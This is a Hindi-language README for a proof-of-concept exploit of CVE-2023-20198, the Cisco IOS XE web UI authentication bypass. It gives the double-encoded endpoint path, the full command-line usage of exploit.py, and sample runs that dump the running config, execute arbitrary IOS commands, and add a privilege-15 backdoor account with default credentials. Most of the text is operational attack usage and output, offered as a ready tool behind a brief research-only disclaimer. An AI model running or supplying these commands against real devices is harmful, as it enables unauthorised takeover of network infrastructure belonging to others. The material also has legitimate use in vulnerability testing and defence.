
CVE-2023-20198 के लिए Exploit PoC
CVE-2023-20198 के लिए Exploit PoC
Vulnerability जानकारी और exploit उपयोग smokeintheshell द्वारा प्रदान की गई है (संदर्भ देखें)
Endpoint, http कंटेंट प्रकार और headers प्रबंधन को अन्य मौजूदा POCs से संशोधित किया गया है, ताकि उन स्थितियों में काम किया जा सके जहाँ अन्य exploits विफल हो जाते हैं।
CVE-2023-20198 में अनुचित पथ सत्यापन के कारण Nginx फ़िल्टरिंग को बायपास करके webui_wsma_http वेब endpoint तक बिना प्रमाणीकरण के पहुँचा जा सकता है।
Endpoint के प्रमाणीकरण को बायपास करके, एक हमलावर Privilege 15 विशेषाधिकारों के साथ मनमाने Cisco IOS कमांड निष्पादित कर सकता है या कॉन्फ़िगरेशन परिवर्तन जारी कर सकता है।
पहले से अज्ञात इस भेद्यता के सक्रिय शोषण पर Cisco की जाँच से पता चला कि खतरे वाले अभिनेताओं ने Privilege स्तर 15 के साथ एक नया उपयोगकर्ता जोड़ने के लिए पहले CVE-2023-20198 का शोषण किया। आगे के हमलों में CVE-2023-20273 का शोषण करके अंतर्निहित Linux OS root उपयोगकर्ता तक विशेषाधिकार बढ़ाना शामिल था, ताकि इम्प्लांटेशन की सुविधा मिल सके।
यह PoC दो अलग-अलग XML SOAP endpoints का लाभ उठाने के लिए CVE-2023-20198 का शोषण करता है:
भेद्यता जाँच, कॉन्फ़िगरेशन और कमांड निष्पादन विकल्प सभी cisco:wsma-exec SOAP endpoint को लक्षित करते हैं ताकि execCLI एलिमेंट टैग में कमांड डाले जा सकें।
उपयोगकर्ता जोड़ने का विकल्प cisco:wsma-config SOAP endpoint को लक्षित करता है ताकि कॉन्फ़िगरेशन परिवर्तन किया जा सके और Privilege 15 खाता जोड़ा जा सके। इस endpoint का [दुरुपयोग] करके अन्य कॉन्फ़िगरेशन परिवर्तन किए जा सकते हैं, लेकिन यह इस PoC के दायरे से बाहर है।
cisco:wsma-exec SOAP endpoint का दुरुपयोग nuclei टेम्पलेट से आया है
cisco:wsma-config SOAP endpoint का दुरुपयोग horizon3ai PoC से आया है
नोट: मैंने इस CVE के लिए कोई मूल शोध या PoC विकास नहीं किया। क्रेडिट के लिए संदर्भ अनुभाग देखें।
usage: exploit.py [-h] (-t targetIP | -l targetFile) [-https] (-c | -g | -e command | -a | -d) [-u newUserName] [-p newUserPass] [-o outputFile] [-v]
CVE-2023-20198 Exploit PoC
options:
-h, --help show this help message and exit
-t targetIP Target IP Address
-l targetFile File containing IP Addresses (-c only)
-https Use https
-c [X] Check for vulnerability
-g [X] Get Cisco IOS running config
-e command [X] Execute Cisco IOS command
-a [X] Add new priv 15 user
-d [X] Remove priv 15 user
-u newUserName [Optional] user name for -a or -d. Default: G4sul1n
-p newUserPass [Optional] new user pass for -a. Default: G4sul1n
-o outputFile Write output to file
-v Increase verbosity
CVE-2023-20198 की जाँच के लिए, -c uname -a निष्पादित करने हेतु भेद्यता का शोषण करने का प्रयास करेगा
उदाहरण:
# ./exploit.py -t 10.0.0.1 -c
Testing for vulnerability
Target IP: 10.0.0.1
Target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Vulnerable: True
IOS Ver: <REDACTED> IOS 16.6 Cisco IOS Software [Everest], Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version 16.6.5, RELEASE SOFTWARE (fc3)
-g विकल्प रनिंग कॉन्फ़िगरेशन प्राप्त करने के लिए sh run निष्पादित करता है
उदाहरण:
# ./exploit.py -t 10.0.0.1 -g
Building configuration...
Current configuration : 6988 bytes
!
...
!
version 16.6
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
...
-e विकल्प के साथ मनमाने Cisco IOS कमांड निष्पादित किए जा सकते हैं।
कॉन्फ़िगरेशन परिवर्तन करने के लिए इसका उपयोग करते समय अत्यधिक सावधानी बरतनी चाहिए। कोई इनपुट सत्यापन नहीं है और परिवर्तन तुरंत रनिंग कॉन्फ़िगरेशन पर लागू हो जाते हैं।
उदाहरण:
# ./exploit.py -t 10.0.0.1 -e 'sh log'
Selected Target: 10.0.0.1
Running in Exec Mode
Executing Command: sh log
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Syslog logging: enabled (0 messages dropped, 1 messages rate-limited, 0 flushes, 0 overruns, xml disabled, filtering disabled)
No Active Message Discriminator.
No Inactive Message Discriminator.
Console logging: level debugging, 5368 messages logged, xml disabled,
filtering disabled
...
-a विकल्प का उपयोग नया Privilege 15 उपयोगकर्ता खाता बनाने के लिए किया जा सकता है, जिसमें वैकल्पिक रूप से -u और -p के साथ क्रमशः खाता नाम और पासवर्ड निर्दिष्ट किया जा सकता है।
उदाहरण:
# ./exploit.py -t 10.0.0.1 -a -u G4sul1n -p G4sul1n
Selected Target: 10.0.0.1
Adding New Privilege 15 User
New User Name: G4sul1n
New User Pass: G4sul1n
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
No reportable output from adding users
Check verbose ouput or get running config
Done.
-d विकल्प का उपयोग डिवाइस से उपयोगकर्ता खाता हटाने के लिए किया जा सकता है, और यह -u के साथ निर्दिष्ट उपयोगकर्ता नाम का सम्मान करता है।
यह सुनिश्चित करने के लिए सावधानी बरतनी चाहिए कि आप कोई वैध खाता नहीं हटा रहे हैं।
इसे उन स्थितियों के लिए जोड़ा गया था जहाँ शोषित Cisco तक shell/webui पहुँच प्राप्त नहीं की जा सकती। यह देखा गया कि Privilege 15 उपयोगकर्ता जोड़ने से webui पहुँच नहीं मिलती और यह होस्ट पर शोषण कलाकृतियों (exploitation artifacts) छोड़ सकता है।
Cisco एडवाइज़री
horizon3ai CVE-2023-20198 अनुसंधान
horizon3ai CVE-2023-20198 PoC
nuclei CVE-2023-20198 टेम्पलेट (लेखक: iamnoooob, rootxharsh, pdresearch)
LeakIX CVE-2023-20273 PoC
smokeintheshell CVE-2023-20198 PoC
इस परियोजना में निहित कोड केवल अनुसंधान और उन प्रणालियों पर उपयोग के लिए है जहाँ उपयोगकर्ता के पास स्पष्ट प्राधिकरण है।
इस परियोजना का लेखक सॉफ़्टवेयर के दुरुपयोग के लिए उत्तरदायी या ज़िम्मेदार नहीं है।
ज़िम्मेदारी से उपयोग करें और बुराई न करें।